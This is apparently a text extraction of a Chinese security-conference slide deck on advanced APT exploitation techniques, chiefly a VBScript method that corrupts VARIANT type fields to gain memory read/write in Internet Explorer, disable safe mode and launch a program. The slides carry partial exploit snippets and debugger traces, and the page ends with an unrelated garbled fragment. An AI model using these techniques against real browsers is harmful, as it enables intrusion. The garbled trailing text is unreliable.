<4D F736F F F696E74202D B8DFBCB6C2A9B6B4C0FBD3C3BCBCCAF52E >

Size: px

Start display at page:

Download "<4D F736F F F696E74202D B8DFBCB6C2A9B6B4C0FBD3C3BCBCCAF52E >"

附筱山
5 years ago
Views:

1 APT 高级漏洞利用技术

2 Who am I? 真名 : 袁仁广网名 :yuange 360 漏洞实验室主任 2008 北京奥运会特聘信息安全专家中国国家信息安全漏洞库特聘专家 98 年发现 win9x 网络共享密码验证漏洞 20 多年的安全对抗经验

3 要点漏洞挖掘技术漏洞利用技术 APT 对抗时代高级 APT 对抗技术防护技术

4 漏洞挖掘技术人工分析程序自动化技术 Fuzzing 技术污点分析等补丁比对技术静态分析技术动态分析技术

5 漏洞利用技术设计原则完美和谐的标准 : 满足各种网络需求只要求目标存在漏洞稳定可重复, 不影响目标系统可扩展可对抗简单通用傻瓜化

6 对抗防火墙数据通道技术 client <--> proxy <--> firewall <-- >server ecb ecb->readclient ecb->writeclient 查找 socket getpeername 查找 socket 字串匹配查找 socket

7 对抗防火墙有线程 recv 的处理技术 wins: 1 shellcode hook closesocket 2 exploit 发送错误数据,server 关闭 socket,shellcode 拦截 rpc 的端口复用技术 1 shellcode hook 服务的 rpcnum 入口 2 exploit 调用 NdrSendReceive

8 溢出程序通用性技术连续覆盖同时使用 ret seh 自动版本识别通用跳转地址代码页地址通用指针 PEB->RtlEnterCriticalSection PEB->RtlLeaveCriticalSection

9 shellcode 高级技术解码 +shellcode 框架 Shellcode 通用性 GetProcAddress+ LoadLibraryA c 语言编写 shellcode 编写具有 shell 功能的 shellcode hook 技术内存后门技术通信加密

10 APT 对抗时代对抗 DEP+ASLR+EMET+CFI 如何对抗 ANTI APT 设备 1 无关键代码缓存 2 无事后关键代码追踪线索 3 旁路无法分析关键代码

11 APT 高级漏洞利用技术 DVE 数据虚拟执行技术原理,97 年两篇文章注意利用解释型语言与 CPU 代码相结合的新型病毒文本病毒 ( 病毒新理论 )! 解释执行也是执行利用漏洞增强指令集构造指针突破解释执行虚拟机远程代码执行转换成本地提权突破

12 突破点关键通用的数据结构 Variant 变量 COM VB JS 等大量使用 VB 唯一数据类型 JS9 内部仍然保留使用

13 tagvariant 的定义 struct tagvariant { VARTYPE vt; WORD wreserved1; WORD wreserved2; WORD wreserved3; union { LONGLONG llval; LONG lval; BYTE bval; SHORT ival; SAFEARRAY *parray; typedef unsigned short VARTYPE;

14 VARTYPE 列举 enum VARENUM { VT_EMPTY = 0, VT_NULL = 1, VT_ I2 = 2, VT_I4 = 3, VT_R4 = 4, VT_R8 = 5, VT_BSTR = 8, VT_VARIANT = 12, VT_VECTOR = 0x1000, VT_ARRAY = 0x2000, VT_BYREF = 0x4000, };

15 tagsafearray 的定义 typedef struct tagsafearray { USHORT cdims; USHORT ffeatures; ULONG cbelements; ULONG clocks; PVOID pvdata; SAFEARRAYBOUND rgsabound[ 1 ]; } SAFEARRAY; const USHORT FADF_HAVEVARTYPE= 0x0080; /* array has a VT type */ const USHORT FADF_VARIANT = 0x0800; /* an array of VARIANTs */ typedef struct tagsafearraybound { ULONG celements; LONG llbound; } SAFEARRAYBOUND;

16 具体利用实现细节通过漏洞修改 VARTYPE vt 修改 vt 得到需要的数组,c\c++ 指针通过数组修改关键数据通过修改保护模式实现控件加载通过控件实现完全控制脚本就是 shellcode

17 跟踪演示代码 <SCRIPT LANGUAGE="VBScript"> myarray= chrw(01)&chrw(2176)&chrw(01)&chrw(00)&chrw(00) &chrw(00)&chrw(00)&chrw(00)&chrw(00)&chrw(3276 7)&chrw(00)&chrw(0) document.write(vartype(myarray)) document.write(vartype(myarray(&h7ffe0030))) </script>

18 跟踪过程 0:008:x86> bp vbscript!vbsvartype Breakpoint 0 hit VBSCRIPT!VbsVarType: 0ffb31f8 8bff mov edi,edi 0:008:x86> d poi(esp+c) l 10 00e8fa98 0c 40 4f 0b c a 4f 0b :008:x86> d poi(poi(esp+c)+8) l 10 0b4f5a fb f :008:x86> 86 d59b0 5f9fb04 l 18 05f9fb f9fb ff 7f

19 跟踪过程 0:008:x86> e b4f5a78 0c 20 修改字符串变量为数组 0:008:x86> g Breakpoint 0 hit VBSCRIPT!VbsVarType: 0ffb31f8 8bff mov edi,edi 0:008:x86> 86> d poi(esp+c) l10 00e8fa98 0c b dc 44 5e fe 7f cc 46 5e 06 0:008:x86> d 7ffe0030 l 20 7ffe a 00 5c e f 00 C.:.\.W.i.n.d.o. 7ffe w.s...

20 执行结果 8204 =0x200c 67 =0x0043

21 实现代码获得对象地址 sub testaa() end sub function mydata() On Error Resume Next i=testaa i=null ab(0)=0 aa(a1)=i ab(0)=3 mydata=aa(a1) end function

22 实现代码修改保护模式 function setnotsafemode() On Error Resume Next i=mydata() i=readmem(i+8) i=readmem(i+16) j=readmem(i+&h134) for k=0 to &h60 step 4 j=readmem(i+&h120+k) if(j=14) then writemem(i+&h120+k) Exit for end if next end function

23 实现代码弹计算器 function runcalc() On Error Resume Next set sh=createobject("shell.application") sh.shellexecute "calc.exe" " end function

24 代码效果 09 年完成 Bypass DEP+ASLR+EMET+CFI 无修改过新出漏洞利用缓解措施无修改新出 IE 上通用无修改新出 WINDOWS 系统上通用通杀 WIN95-WIN8.1+IE3-IE11 原理可以用于其它操作系统其它芯片平台

25 代码效果

26 代码效果

27 防护技术漏洞利用缓解技术 DEP+ASLR+EMET+CFI 沙箱 1 IE 保护模式降低权限, 文件网络系统调用能使用 2 CHROME 沙箱限制使用, 文件网络不能使用, 系统调用还能使用系统内核的漏洞可以突破沙箱

28 防护技术更完善的沙瓶 1 沙瓶里代码只有执行权限, 无其它任何权限, 不提供任何系统调用 2 只能通过有限的瓶口接口调用外部, 通过内存共享交换数据 3 沙瓶里的代码漏洞被完全屏蔽, 漏洞只局限在有限的瓶口接口代码

《新工具》

《新工具》 ! " ! """"""""""""""""""""""! """"""""""""""""""""" #$ &!!!! " # " $ " " % ! "! #! #!! # " # " #! # # $ $ $ " % &! %! " "! "! "! " # "! " $ "! (! " " # $ % " " & " & " " & & " & " & )!! " # $! " "!! "%